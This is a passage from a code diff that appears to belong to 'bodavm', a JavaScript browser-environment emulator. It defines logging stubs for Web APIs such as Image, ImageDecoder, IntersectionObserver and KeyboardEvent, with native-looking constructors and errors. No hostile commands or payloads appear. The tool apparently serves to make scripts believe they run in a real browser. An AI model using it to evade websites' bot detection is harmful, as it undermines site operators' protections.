function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Image', "loading", { + configurable: true, + enumerable: true, + get: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_get", arguments); + }, + set: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_set", arguments); + } +}, 'prototype'); +// ImageBitmap对象 + +bodavm.memory.globalobj['ImageBitmap'] = function ImageBitmap() { + console.log_copy('ImageBitmap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageBitmap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmap'], "ImageBitmap"); +bodavm.toolsFunc.defineProperty('ImageBitmap', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageBitmap', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageBitmap', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "close", arguments); + } +}, 'prototype'); +// ImageBitmapRenderingContext对象 + +bodavm.memory.globalobj['ImageBitmapRenderingContext'] = function ImageBitmapRenderingContext() { + console.log_copy('ImageBitmapRenderingContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageBitmapRenderingContext)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmapRenderingContext'], "ImageBitmapRenderingContext"); +bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "transferFromImageBitmap", { + configurable: true, + enumerable: true, + writable: true, + value: function transferFromImageBitmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "transferFromImageBitmap", arguments); + } +}, 'prototype'); +// ImageCapture对象 + +bodavm.memory.globalobj['ImageCapture'] = function ImageCapture() { + console.log_copy('ImageCapture 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageCapture)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageCapture': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageCapture'], "ImageCapture"); +bodavm.toolsFunc.defineProperty('ImageCapture', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getPhotoCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoCapabilities", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoSettings", { + configurable: true, + enumerable: true, + writable: true, + value: function getPhotoSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoSettings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "grabFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function grabFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "grabFrame", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageCapture', "takePhoto", { + configurable: true, + enumerable: true, + writable: true, + value: function takePhoto() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "takePhoto", arguments); + } +}, 'prototype'); +// ImageData对象 + +bodavm.memory.globalobj['ImageData'] = function ImageData() { + console.log_copy('ImageData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageData)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageData': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageData'], "ImageData"); +bodavm.toolsFunc.defineProperty('ImageData', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageData', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageData', "colorSpace", { + configurable: true, + enumerable: true, + get: function colorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "colorSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageData', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +// ImageDecoder对象 + +bodavm.memory.globalobj['ImageDecoder'] = function ImageDecoder() { + console.log_copy('ImageDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageDecoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageDecoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageDecoder'], "ImageDecoder"); +bodavm.toolsFunc.defineProperty('ImageDecoder', "isTypeSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isTypeSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].undefined, "ImageDecoder", "isTypeSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('ImageDecoder', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "complete", { + configurable: true, + enumerable: true, + get: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "complete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "completed", { + configurable: true, + enumerable: true, + get: function completed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "completed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "tracks", { + configurable: true, + enumerable: true, + get: function tracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "tracks_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageDecoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "reset", arguments); + } +}, 'prototype'); +// ImageTrack对象 + +bodavm.memory.globalobj['ImageTrack'] = function ImageTrack() { + console.log_copy('ImageTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrack'], "ImageTrack"); +bodavm.toolsFunc.defineProperty('ImageTrack', "frameCount", { + configurable: true, + enumerable: true, + get: function frameCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "frameCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrack', "animated", { + configurable: true, + enumerable: true, + get: function animated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "animated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrack', "repetitionCount", { + configurable: true, + enumerable: true, + get: function repetitionCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "repetitionCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrack', "selected", { + configurable: true, + enumerable: true, + get: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_get", arguments); + }, + set: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_set", arguments); + } +}, 'prototype'); +// ImageTrackList对象 + +bodavm.memory.globalobj['ImageTrackList'] = function ImageTrackList() { + console.log_copy('ImageTrackList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ImageTrackList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrackList'], "ImageTrackList"); +bodavm.toolsFunc.defineProperty('ImageTrackList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedIndex", { + configurable: true, + enumerable: true, + get: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedIndex_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedTrack", { + configurable: true, + enumerable: true, + get: function selectedTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedTrack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ImageTrackList', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +// indexedDB对象 + +bodavm.memory.globalobj['indexedDB'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['indexedDB'].__proto__ = bodavm.memory.globalobj['IDBFactory'].prototype; +// Ink对象 + +bodavm.memory.globalobj['Ink'] = function Ink() { + console.log_copy('Ink 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Ink)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Ink'], "Ink"); +bodavm.toolsFunc.defineProperty('Ink', "requestPresenter", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPresenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Ink'].prototype, "Ink", "requestPresenter", arguments); + } +}, 'prototype'); +// innerHeight对象 + +bodavm.memory.globalobj['innerHeight'] = { + _boisinit: bodavm.config.isinit +}; +// innerWidth对象 + +bodavm.memory.globalobj['innerWidth'] = { + _boisinit: bodavm.config.isinit +}; +// InputDeviceCapabilities对象 + +bodavm.memory.globalobj['InputDeviceCapabilities'] = function InputDeviceCapabilities() { + console.log_copy('InputDeviceCapabilities 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.InputDeviceCapabilities(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceCapabilities'], "InputDeviceCapabilities"); +bodavm.toolsFunc.defineProperty('InputDeviceCapabilities', "firesTouchEvents", { + configurable: true, + enumerable: true, + get: function firesTouchEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceCapabilities'].prototype, "InputDeviceCapabilities", "firesTouchEvents_get", arguments); + }, + set: undefined +}, 'prototype'); +// InputDeviceInfo对象 + +bodavm.memory.globalobj['InputDeviceInfo'] = function InputDeviceInfo() { + console.log_copy('InputDeviceInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof InputDeviceInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceInfo'], "InputDeviceInfo"); +bodavm.memory.globalobj['InputDeviceInfo'].prototype.__proto__ = bodavm.memory.globalobj['MediaDeviceInfo'].prototype; +bodavm.memory.globalobj['InputDeviceInfo'].__proto__ = bodavm.memory.globalobj['MediaDeviceInfo']; +bodavm.toolsFunc.defineProperty('InputDeviceInfo', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceInfo'].prototype, "InputDeviceInfo", "getCapabilities", arguments); + } +}, 'prototype'); +// InputEvent对象 + +bodavm.memory.globalobj['InputEvent'] = function InputEvent() { + console.log_copy('InputEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof InputEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'InputEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputEvent'], "InputEvent"); +bodavm.memory.globalobj['InputEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['InputEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('InputEvent', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "isComposing", { + configurable: true, + enumerable: true, + get: function isComposing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "isComposing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "inputType", { + configurable: true, + enumerable: true, + get: function inputType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "inputType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "dataTransfer", { + configurable: true, + enumerable: true, + get: function dataTransfer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "dataTransfer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('InputEvent', "getTargetRanges", { + configurable: true, + enumerable: true, + writable: true, + value: function getTargetRanges() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "getTargetRanges", arguments); + } +}, 'prototype'); +// IntersectionObserver对象 + +bodavm.memory.globalobj['IntersectionObserver'] = function IntersectionObserver() { + console.log_copy('IntersectionObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IntersectionObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IntersectionObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserver'], "IntersectionObserver"); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "root", { + configurable: true, + enumerable: true, + get: function root() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "root_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "rootMargin", { + configurable: true, + enumerable: true, + get: function rootMargin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "rootMargin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "thresholds", { + configurable: true, + enumerable: true, + get: function thresholds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "thresholds_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "delay", { + configurable: true, + enumerable: true, + get: function delay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "delay_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "trackVisibility", { + configurable: true, + enumerable: true, + get: function trackVisibility() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "trackVisibility_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "takeRecords", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserver', "unobserve", { + configurable: true, + enumerable: true, + writable: true, + value: function unobserve() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "unobserve", arguments); + } +}, 'prototype'); +// IntersectionObserverEntry对象 + +bodavm.memory.globalobj['IntersectionObserverEntry'] = function IntersectionObserverEntry() { + console.log_copy('IntersectionObserverEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IntersectionObserverEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserverEntry'], "IntersectionObserverEntry"); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "time", { + configurable: true, + enumerable: true, + get: function time() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "time_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "rootBounds", { + configurable: true, + enumerable: true, + get: function rootBounds() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "rootBounds_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "boundingClientRect", { + configurable: true, + enumerable: true, + get: function boundingClientRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "boundingClientRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRect", { + configurable: true, + enumerable: true, + get: function intersectionRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isIntersecting", { + configurable: true, + enumerable: true, + get: function isIntersecting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isIntersecting_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isVisible", { + configurable: true, + enumerable: true, + get: function isVisible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isVisible_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRatio", { + configurable: true, + enumerable: true, + get: function intersectionRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +// isSecureContext对象 + +bodavm.memory.globalobj['isSecureContext'] = { + _boisinit: bodavm.config.isinit +}; +// Keyboard对象 + +bodavm.memory.globalobj['Keyboard'] = function Keyboard() { + console.log_copy('Keyboard 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Keyboard)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Keyboard'], "Keyboard"); +bodavm.toolsFunc.defineProperty('Keyboard', "getLayoutMap", { + configurable: true, + enumerable: true, + writable: true, + value: function getLayoutMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "getLayoutMap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Keyboard', "lock", { + configurable: true, + enumerable: true, + writable: true, + value: function lock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "lock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Keyboard', "unlock", { + configurable: true, + enumerable: true, + writable: true, + value: function unlock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "unlock", arguments); + } +}, 'prototype'); +// KeyboardEvent对象 + +bodavm.memory.globalobj['KeyboardEvent'] = function KeyboardEvent() { + console.log_copy('KeyboardEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof KeyboardEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyboardEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardEvent'], "KeyboardEvent"); +bodavm.memory.globalobj['KeyboardEvent'].prototype.__proto__ = bodavm.memory.globalobj['UIEvent'].prototype; +bodavm.memory.globalobj['KeyboardEvent'].__proto__ = bodavm.memory.globalobj['UIEvent']; +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "location", { + configurable: true, + enumerable: true, + get: function location() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "location_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "ctrlKey", { + configurable: true, + enumerable: true, + get: function ctrlKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "ctrlKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "shiftKey", { + configurable: true, + enumerable: true, + get: function shiftKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "shiftKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "altKey", { + configurable: true, + enumerable: true, + get: function altKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "altKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "metaKey", { + configurable: true, + enumerable: true, + get: function metaKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "metaKey_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "repeat", { + configurable: true, + enumerable: true, + get: function repeat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "repeat_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "isComposing", { + configurable: true, + enumerable: true, + get: function isComposing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "isComposing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "charCode", { + 